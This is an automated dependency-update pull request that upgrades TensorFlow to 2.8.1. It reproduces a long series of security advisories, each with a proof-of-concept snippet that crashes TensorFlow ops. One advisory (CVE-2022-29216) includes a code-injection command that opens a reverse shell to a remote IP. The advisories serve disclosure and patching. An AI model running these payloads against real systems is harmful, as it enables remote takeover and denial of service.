Update dependency tensorflow to v2.8.1 [SECURITY] #331

renovate · 2024-07-31T02:33:58Z

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
tensorflow	`==2.8.0` -> `==2.8.1`

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

GitHub Vulnerability Alerts

CVE-2022-29193

Impact

The implementation of tf.raw_ops.TensorSummaryV2 does not fully validate the input arguments. This results in a CHECK-failure which can be used to trigger a denial of service attack:

import numpy as np
import tensorflow as tf

tf.raw_ops.TensorSummaryV2(
  tag=np.array('test'),
  tensor=np.array(3),
  serialized_summary_metadata=tf.io.encode_base64(np.empty((0))))

The code assumes axis is a scalar but there is no validation for this.

    const Tensor& serialized_summary_metadata_tensor = c->input(2);
    // ...
    ParseFromTString(serialized_summary_metadata_tensor.scalar<tstring>()(),
                     v->mutable_metadata());

Patches

We have patched the issue in GitHub commit 290bb05c80c327ed74fae1d089f1001b1e2a4ef7.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University and Hong Jin from Singapore Management University.

CVE-2022-29191

Impact

The implementation of tf.raw_ops.GetSessionTensor does not fully validate the input arguments. This results in a CHECK-failure which can be used to trigger a denial of service attack:

import tensorflow as tf

handle = tf.constant("[]", shape=[0], dtype=tf.string)
tf.raw_ops.GetSessionTensor(handle=handle)

The code assumes handle is a scalar but there is no validation for this:

    const Tensor& handle = ctx->input(0);
    const string& name = handle.scalar<tstring>()();

Patches

We have patched the issue in GitHub commit 48305e8ffe5246d67570b64096a96f8e315a7281.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.

CVE-2022-29192

Impact

The implementation of tf.raw_ops.QuantizeAndDequantizeV4Grad does not fully validate the input arguments. This results in a CHECK-failure which can be used to trigger a denial of service attack:

import tensorflow as tf

tf.raw_ops.QuantizeAndDequantizeV4Grad(
  gradients=tf.constant(1, shape=[2,2], dtype=tf.float64),
  input=tf.constant(1, shape=[2,2], dtype=tf.float64),
  input_min=tf.constant([], shape=[0], dtype=tf.float64),
  input_max=tf.constant(-10, shape=[], dtype=tf.float64),
  axis=-1)

The code assumes input_min and input_max are scalars but there is no validation for this.

Patches

We have patched the issue in GitHub commit 098e7762d909bac47ce1dbabe6dfd06294cb9d58.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.

CVE-2022-29194

Impact

The implementation of tf.raw_ops.DeleteSessionTensor does not fully validate the input arguments. This results in a CHECK-failure which can be used to trigger a denial of service attack:

import tensorflow as tf

handle = tf.constant("[]", shape=[0], dtype=tf.string)
tf.raw_ops.DeleteSessionTensor(handle=handle)

The code assumes handle is a scalar but there is no validation for this:

    const Tensor& handle = ctx->input(0);
    const string& name = handle.scalar<tstring>()();

Patches

We have patched the issue in GitHub commit cff267650c6a1b266e4b4500f69fbc49cdd773c5.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.

CVE-2022-29195

Impact

The implementation of tf.raw_ops.StagePeek does not fully validate the input arguments. This results in a CHECK-failure which can be used to trigger a denial of service attack:

import tensorflow as tf

index = tf.constant([], shape=[0], dtype=tf.int32)
tf.raw_ops.StagePeek(index=index, dtypes=[tf.int32])

The code assumes index is a scalar but there is no validation for this before accessing its value:

std::size_t index = ctx->input(0).scalar<int>()();

Patches

We have patched the issue in GitHub commit cebe3c45d76357d201c65bdbbf0dbe6e8a63bbdb.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.

CVE-2022-29196

Impact

The implementation of tf.raw_ops.Conv3DBackpropFilterV2 does not fully validate the input arguments. This results in a CHECK-failure which can be used to trigger a denial of service attack:

import tensorflow as tf

tf.raw_ops.Conv3DBackpropFilterV2(
  input=tf.constant(.5053710941, shape=[2,2,2,2,1], dtype=tf.float16),
  filter_sizes=tf.constant(0, shape=[], dtype=tf.int32),
  out_backprop=tf.constant(.5053710941, shape=[2,2,2,2,1], dtype=tf.float16),
  strides=[1, 1, 1, 1, 1],
  padding="VALID",
  data_format="NDHWC",
  dilations=[1, 1, 1, 1, 1])

The code does not validate that the filter_sizes argument is a vector.

Patches

We have patched the issue in GitHub commit 174c5096f303d5be7ed2ca2662b08371bff4ab88.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.

CVE-2022-29197

Impact

The implementation of tf.raw_ops.UnsortedSegmentJoin does not fully validate the input arguments. This results in a CHECK-failure which can be used to trigger a denial of service attack:

import tensorflow as tf

tf.raw_ops.UnsortedSegmentJoin(
  inputs=tf.constant("this", shape=[12], dtype=tf.string),
  segment_ids=tf.constant(0, shape=[12], dtype=tf.int64),
  num_segments=tf.constant(0, shape=[12], dtype=tf.int64))

The code assumes num_segments is a scalar but there is no validation for this before accessing its value:

const Tensor& num_segments_tensor = context->input(2);
OP_REQUIRES(context, num_segments_tensor.NumElements() != 0,
            errors::InvalidArgument("Number of segments cannot be empty."));
auto num_segments = num_segments_tensor.scalar<NUM_SEGMENTS_TYPE>()();

Patches

We have patched the issue in GitHub commit 13d38a07ce9143e044aa737cfd7bb759d0e9b400.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.

CVE-2022-29198

Impact

The implementation of tf.raw_ops.SparseTensorToCSRSparseMatrix does not fully validate the input arguments. This results in a CHECK-failure which can be used to trigger a denial of service attack:

import tensorflow as tf

indices = tf.constant(53, shape=[3], dtype=tf.int64)
values = tf.constant(0.554979503, shape=[218650], dtype=tf.float32)
dense_shape = tf.constant(53, shape=[3], dtype=tf.int64)
    
tf.raw_ops.SparseTensorToCSRSparseMatrix(
  indices=indices,
  values=values,
  dense_shape=dense_shape)

The code assumes dense_shape is a vector and indices is a matrix (as part of requirements for sparse tensors) but there is no validation for this:

    const Tensor& indices = ctx->input(0);
    const Tensor& values = ctx->input(1);
    const Tensor& dense_shape = ctx->input(2);
    const int rank = dense_shape.NumElements();
    OP_REQUIRES(ctx, rank == 2 || rank == 3,
                errors::InvalidArgument("SparseTensor must have rank 2 or 3; ",
                                        "but indices has rank: ", rank));
    auto dense_shape_vec = dense_shape.vec<int64_t>();
    // ...
    OP_REQUIRES_OK(
        ctx,
        coo_to_csr(batch_size, num_rows, indices.template matrix<int64_t>(),
                   batch_ptr.vec<int32>(), csr_row_ptr.vec<int32>(),
                   csr_col_ind.vec<int32>()));

Patches

We have patched the issue in GitHub commit ea50a40e84f6bff15a0912728e35b657548cef11.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.

CVE-2022-29199

Impact

The implementation of tf.raw_ops.LoadAndRemapMatrix does not fully validate the input arguments. This results in a CHECK-failure which can be used to trigger a denial of service attack:

import tensorflow as tf

ckpt_path = tf.constant(
    "/tmp/warm_starting_util_test5kl2a3pc/tmpph76tep2/model-0", shape=[], dtype=tf.string)
old_tensor_name = tf.constant(
    "/tmp/warm_starting_util_test5kl2a3pc/tmpph76tep2/model-0", shape=[], dtype=tf.string)

row_remapping = tf.constant(0, shape=[], dtype=tf.int64)
col_remapping = tf.constant(3, shape=[3], dtype=tf.int64)
initializing_values = tf.constant([], shape=[0, 1], dtype=tf.float32)

tf.raw_ops.LoadAndRemapMatrix(
  ckpt_path=ckpt_path,
  old_tensor_name=old_tensor_name,
  row_remapping=row_remapping,
  col_remapping=col_remapping,
  initializing_values=initializing_values,
  num_rows=1,
  num_cols=1)

The code assumes initializing_values is a vector but there is no validation for this before accessing its value:

OP_REQUIRES_OK(context, context->input("row_remapping", &row_remapping_t));
const auto row_remapping = row_remapping_t->vec<int64_t>();

Patches

We have patched the issue in GitHub commit 3150642acbbe254e3c3c5d2232143fa591855ac9.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.

CVE-2022-29200

Impact

The implementation of tf.raw_ops.LSTMBlockCell does not fully validate the input arguments. This results in a CHECK-failure which can be used to trigger a denial of service attack:

import tensorflow as tf

tf.raw_ops.LSTMBlockCell( 
  x=tf.constant(0.837607, shape=[28,29], dtype=tf.float32),
  cs_prev=tf.constant(0, shape=[28,17], dtype=tf.float32),
  h_prev=tf.constant(0.592631638, shape=[28,17], dtype=tf.float32),
  w=tf.constant(0.887386262, shape=[46,68], dtype=tf.float32),
  wci=tf.constant(0, shape=[], dtype=tf.float32),
  wcf=tf.constant(0, shape=[17], dtype=tf.float32),
  wco=tf.constant(0.592631638, shape=[28,17], dtype=tf.float32),
  b=tf.constant(0.75259006, shape=[68], dtype=tf.float32),
  forget_bias=1, cell_clip=0, use_peephole=False)

The code does not validate the ranks of any of the arguments to this API call. This results in CHECK-failures when the elements of the tensor are accessed.

Patches

We have patched the issue in GitHub commit 803404044ae7a1efac48ba82d74111fce1ddb09a.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.

CVE-2022-29201

Impact

The implementation of tf.raw_ops.QuantizedConv2D does not fully validate the input arguments:

import tensorflow as tf

input = tf.constant(1, shape=[1, 2, 3, 3], dtype=tf.quint8)
filter = tf.constant(1, shape=[1, 2, 3, 3], dtype=tf.quint8)

# bad args
min_input = tf.constant([], shape=[0], dtype=tf.float32)
max_input = tf.constant(0, shape=[], dtype=tf.float32)
min_filter = tf.constant(0, shape=[], dtype=tf.float32)
max_filter = tf.constant(0, shape=[], dtype=tf.float32)

tf.raw_ops.QuantizedConv2D(
  input=input,
  filter=filter,
  min_input=min_input,
  max_input=max_input,
  min_filter=min_filter,
  max_filter=max_filter, 
  strides=[1, 1, 1, 1],
  padding="SAME")

In this case, references get bound to nullptr for each argument that is empty (in the example, all arguments in the bad args section).

Patches

We have patched the issue in GitHub commit 0f0b080ecde4d3dfec158d6f60da34d5e31693c4.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.

CVE-2022-29202

Impact

The implementation of tf.ragged.constant does not fully validate the input arguments. This results in a denial of service by consuming all available memory:

import tensorflow as tf
tf.ragged.constant(pylist=[],ragged_rank=8968073515812833920)

Patches

We have patched the issue in GitHub commit bd4d5583ff9c8df26d47a23e508208844297310e.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported externally via a GitHub issue.

CVE-2022-29203

Impact

The implementation of tf.raw_ops.SpaceToBatchND (in all backends such as XLA and handwritten kernels) is vulnerable to an integer overflow:

import tensorflow as tf

input = tf.constant(-3.5e+35, shape=[10,19,22], dtype=tf.float32)
block_shape = tf.constant(-1879048192, shape=[2], dtype=tf.int64)
paddings = tf.constant(0, shape=[2,2], dtype=tf.int32)
tf.raw_ops.SpaceToBatchND(input=input, block_shape=block_shape, paddings=paddings)

The result of this integer overflow is used to allocate the output tensor, hence we get a denial of service via a CHECK-failure (assertion failure), as in TFSA-2021-198.

Patches

We have patched the issue in GitHub commit acd56b8bcb72b163c834ae4f18469047b001fadf.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.

CVE-2022-29204

Impact

The implementation of tf.raw_ops.UnsortedSegmentJoin does not fully validate the input arguments. This results in a CHECK-failure which can be used to trigger a denial of service attack:

import tensorflow as tf

tf.strings.unsorted_segment_join(
  inputs=['123'],
  segment_ids=[0],
  num_segments=-1)

The code assumes num_segments is a positive scalar but there is no validation:

const Tensor& num_segments_tensor = context->input(2);
auto num_segments = num_segments_tensor.scalar<NUM_SEGMENTS_TYPE>()();
// ...
Tensor* output_tensor = nullptr;
TensorShape output_shape =
    GetOutputShape(input_shape, segment_id_shape, num_segments);

Since this value is used to allocate the output tensor, a negative value would result in a CHECK-failure (assertion failure), as per TFSA-2021-198.

Patches

We have patched the issue in GitHub commit 84563f265f28b3c36a15335c8b005d405260e943 and GitHub commit 20cb18724b0bf6c09071a3f53434c4eec53cc147.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported externally via a GitHub issue.

CVE-2022-29205

Impact

There is a potential for segfault / denial of service in TensorFlow by calling tf.compat.v1.* ops which don't yet have support for quantized types (added after migration to TF 2.x):

import numpy as np
import tensorflow as tf

tf.compat.v1.placeholder_with_default(input=np.array([2]),shape=tf.constant(dtype=tf.qint8, value=np.array([1])))

In these scenarios, since the kernel is missing, a nullptr value is passed to ParseDimensionValue for the py_value argument. Then, this is dereferenced, resulting in segfault.

Patches

We have patched the issue in GitHub commit 237822b59fc504dda2c564787f5d3ad9c4aa62d9.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Hong Jin from Singapore Management University.

CVE-2022-29206

Impact

The implementation of tf.raw_ops.SparseTensorDenseAdd does not fully validate the input arguments:

import tensorflow as tf

a_indices = tf.constant(0, shape=[17, 2], dtype=tf.int64)
a_values = tf.constant([], shape=[0], dtype=tf.float32)
a_shape = tf.constant([6, 12], shape=[2], dtype=tf.int64)

b = tf.constant(-0.223668531, shape=[6, 12], dtype=tf.float32)

tf.raw_ops.SparseTensorDenseAdd(
    a_indices=a_indices, a_values=a_values, a_shape=a_shape, b=b)

In this case, a reference gets bound to a nullptr during kernel execution. This is UB.

Patches

We have patched the issue in GitHub commit 11ced8467eccad9c7cb94867708be8fa5c66c730.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.

CVE-2022-29207

Impact

Multiple TensorFlow operations misbehave in eager mode when the resource handle provided to them is invalid:

import tensorflow as tf

tf.raw_ops.QueueIsClosedV2(handle=[])

import tensorflow as tf

tf.summary.flush(writer=())

In graph mode, it would have been impossible to perform these API calls, but migration to TF 2.x eager mode opened up this vulnerability. If the resource handle is empty, then a reference is bound to a null pointer inside TensorFlow codebase (various codepaths). This is undefined behavior.

Patches

We have patched the issue in GitHub commit a5b89cd68c02329d793356bda85d079e9e69b4e7 and GitHub commit dbdd98c37bc25249e8f288bd30d01e118a7b4498.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Hong Jin from Singapore Management University.

CVE-2022-29208

Impact

The implementation of tf.raw_ops.EditDistance has incomplete validation. Users can pass negative values to cause a segmentation fault based denial of service:

import tensorflow as tf

hypothesis_indices = tf.constant(-1250999896764, shape=[3, 3], dtype=tf.int64) 
hypothesis_values = tf.constant(0, shape=[3], dtype=tf.int64)
hypothesis_shape = tf.constant(0, shape=[3], dtype=tf.int64)

truth_indices = tf.constant(-1250999896764, shape=[3, 3], dtype=tf.int64)
truth_values = tf.constant(2, shape=[3], dtype=tf.int64)
truth_shape = tf.constant(2, shape=[3], dtype=tf.int64) 

tf.raw_ops.EditDistance(
  hypothesis_indices=hypothesis_indices,
  hypothesis_values=hypothesis_values,
  hypothesis_shape=hypothesis_shape,
  truth_indices=truth_indices,
  truth_values=truth_values,
  truth_shape=truth_shape)

In multiple places throughout the code, we are computing an index for a write operation:

if (g_truth == g_hypothesis) {
  auto loc = std::inner_product(g_truth.begin(), g_truth.end(),
                                output_strides.begin(), int64_t{0});
  OP_REQUIRES(
      ctx, loc < output_elements,
      errors::Internal("Got an inner product ", loc,
                       " which would require in writing to outside of "
                       "the buffer for the output tensor (max elements ",
                       output_elements, ")"));
  output_t(loc) =
      gtl::LevenshteinDistance<T>(truth_seq, hypothesis_seq, cmp);
  // ...
}

However, the existing validation only checks against the upper bound of the array. Hence, it is possible to write before the array by massaging the input to generate negative values for loc.

Patches

We have patched the issue in GitHub commit 30721cf564cb029d34535446d6a5a6357bebc8e7.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.

CVE-2022-29209

Impact

The macros that TensorFlow uses for writing assertions (e.g., CHECK_LT, CHECK_GT, etc.) have an incorrect logic when comparing size_t and int values. Due to type conversion rules, several of the macros would trigger incorrectly.

Patches

We have patched the issue in GitHub commit b917181c29b50cb83399ba41f4d938dc369109a1 (merging GitHub PR #55730).

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported externally via a GitHub issue.

CVE-2022-29210

Impact

The TensorKey hash function used total estimated AllocatedBytes(), which (a) is an estimate per tensor, and (b) is a very poor hash function for constants (e.g. int32_t). It also tried to access individual tensor bytes through tensor.data() of size AllocatedBytes(). This led to ASAN failures because the AllocatedBytes() is an estimate of total bytes allocated by a tensor, including any pointed-to constructs (e.g. strings), and does not refer to contiguous bytes in the .data() buffer. We couldn't use this byte vector anyways, since types like tstring include pointers, whereas we need to hash the string values themselves.

Patches

We have patched the issue in GitHub commit 1b85a28d395dc91f4d22b5f9e1e9a22e92ccecd6.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, which is the only other affected version.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

CVE-2022-29211

Impact

The implementation of tf.histogram_fixed_width is vulnerable to a crash when the values array contain NaN elements:

import tensorflow as tf
import numpy as np

tf.histogram_fixed_width(values=np.nan, value_range=[1,2])

The implementation assumes that all floating point operations are defined and then converts a floating point result to an integer index:

index_to_bin.device(d) =
    ((values.cwiseMax(value_range(0)) - values.constant(value_range(0)))
         .template cast<double>() /
     step)
        .cwiseMin(nbins_minus_1)
        .template cast<int32>();

If values contains NaN then the result of the division is still NaN and the cast to int32 would result in a crash.

This only occurs on the CPU implementation.

Patches

We have patched the issue in GitHub commit e57fd691c7b0fd00ea3bfe43444f30c1969748b5.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported externally via a GitHub issue.

CVE-2022-29212

Impact

Certain TFLite models that were created using TFLite model converter would crash when loaded in the TFLite interpreter. The culprit is that during quantization the scale of values could be greater than 1 but code was always assuming sub-unit scaling.

Thus, since code was calling QuantizeMultiplierSmallerThanOneExp, the TFLITE_CHECK_LT assertion would trigger and abort the process.

Patches

We have patched the issue in GitHub commit a989426ee1346693cc015792f11d715f6944f2b8.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported externally via a GitHub issue.

CVE-2022-29213

Impact

The tf.compat.v1.signal.rfft2d and tf.compat.v1.signal.rfft3d lack input validation and under certain condition can result in crashes (due to CHECK-failures).

Patches

We have patched the issue in GitHub commit 0a8a781e597b18ead006d19b7d23d0a369e9ad73 (merging GitHub PR #55274).

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported externally via a GitHub issue.

CVE-2022-29216

Impact

TensorFlow's saved_model_cli tool is vulnerable to a code injection:

saved_model_cli run --input_exprs 'x=print("malicious code to run")' --dir ./
--tag_set serve --signature_def serving_default

This can be used to open a reverse shell

saved_model_cli run --input_exprs 'hello=exec("""\nimport socket\nimport
subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")'
--dir ./ --tag_set serve --signature_def serving_default

This is because the fix for CVE-2021-41228 was incomplete. Under certain code paths it still allows unsafe execution:

def preprocess_input_exprs_arg_string(input_exprs_str, safe=True):
  # ...

  for input_raw in filter(bool, input_exprs_str.split(';')):
    # ...
    if safe:
      # ...
    else:
      # ast.literal_eval does not work with numpy expressions
      input_dict[input_key] = eval(expr)  # pylint: disable=eval-used
  return input_dict

This code path was maintained for compatibility reasons as we had several test cases where numpy expressions were used as arguments.

However, given that the tool is always run manually, the impact of this is still not severe. We have now removed the safe=False argument, so all parsing is done withough calling eval.

Patches

We have patched the issue in GitHub commit c5da7af048611aa29e9382371f0aed5018516cac.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Andey Robins from the Cybersecurity Education and Research Lab in the Department of Computer Science at the University of Wyoming.

GHSA-mw6j-hh29-h379

Impact

The implementation of depthwise ops in TensorFlow is vulnerable to a denial of service via CHECK-failure (assertion failure) caused by overflowing the number of elements in a tensor:

import tensorflow as tf

input = tf.constant(1, shape=[1, 4, 4, 3], dtype=tf.float32)
filter_sizes = tf.constant(1879048192, shape=[13], dtype=tf.int32)
out_backprop = tf.constant(1, shape=[1, 4, 4, 3], dtype=tf.float32)
tf.raw_ops.DepthwiseConv2dNativeBackpropFilter(
    input=input, filter_sizes=filter_sizes, out_backprop=out_backprop, strides=[1, 1, 1, 1], padding="SAME")

This is another instance of TFSA-2021-198 (CVE-2021-41197).

Patches

We have patched the issue in GitHub commit 3796cc4fcd93ae55812a457abc96dcd55fbb854b.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.

CVE-2022-35999

Impact

When Conv2DBackpropInput receives empty out_backprop inputs (e.g. [3, 1, 0, 1]), the current CPU/GPU kernels CHECK fail (one with dnnl, the other with cudnn). This can be used to trigger a denial of service attack.

import tensorflow as tf
import numpy as np
input_sizes = [3, 1, 1, 2]
filter = np.ones([1, 3, 2, 3])
out_backprop = np.ones([3, 1, 0, 3])
strides = [1, 1, 2, 1]
padding = 'VALID'

tf.raw_ops.Conv2DBackpropInput(
   input_sizes = input_sizes,
   filter = filter,
   out_backprop = out_backprop,
   strides = strides,
   padding = padding
)

Patches

We have patched the issue in GitHub commit 27a65a43cf763897fecfa5cdb5cc653fc5dd0346.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Jingyi Shi.

CVE-2022-35997

Impact

If tf.sparse.cross receives an input separator that is not a scalar, it gives a CHECK fail that can be used to trigger a denial of service attack.

import tensorflow as tf

tf.sparse.cross(inputs=[],name='a',separator=tf.constant(['a', 'b'],dtype=tf.string))

Patches

We have patched the issue in GitHub commit 83dcb4dbfa094e33db084e97c4d0531a559e0ebf.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Kang Hong Jin.

CVE-2022-35935

Impact

The implementation of SobolSampleOp is vulnerable to a denial of service via CHECK-failure (assertion failure) caused by assuming input(0), input(1), and input(2) to be scalar.

import tensorflow as tf
tf.raw_ops.SobolSample(dim=tf.constant([1,0]), num_results=tf.constant([1]), skip=tf.constant([1]))

Patches

We have patched the issue in GitHub commit c65c67f88ad770662e8f191269a907bf2b94b1bf.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by:

Kang Hong Jin from Singapore Management University
Neophytos Christou, Secure Systems Labs, Brown University
刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology

CVE-2022-35934

Impact

The implementation of tf.reshape op in TensorFlow is vulnerable to a denial of service via CHECK-failure (assertion failure) caused by overflowing the number of elements in a tensor:

import tensorflow as tf

tf.reshape(tensor=[[1]],shape=tf.constant([0 for i in range(255)], dtype=tf.int64))

This is another instance of TFSA-2021-198 (GHSA-prcg-wp5q-rv7p).

Patches

We have patched the issue in GitHub commit 61f0f9b94df8c0411f0ad0ecc2fec2d3f3c33555.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Kang Hong Jin from Singapore Management University.

CVE-2022-35937

Impact

The GatherNd function takes arguments that determine the sizes of inputs and outputs. If the inputs given are greater than or equal to the sizes of the outputs, an out-of-bounds memory read is triggered.

Patches

We have patched the issue in GitHub commit 595a65a3e224a0362d7e68c2213acfc2b499a196.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Hui Peng from Baidu Security.

CVE-2022-35939

Impact

The ScatterNd function takes an input argument that determines the indices of of the output tensor. An input index greater than the output tensor or less than zero will either write content at the wrong index or trigger a crash.

Patches

We have patched the issue in GitHub commit b4d4b4cb019bd7240a52daa4ba61e3cc814f0384.

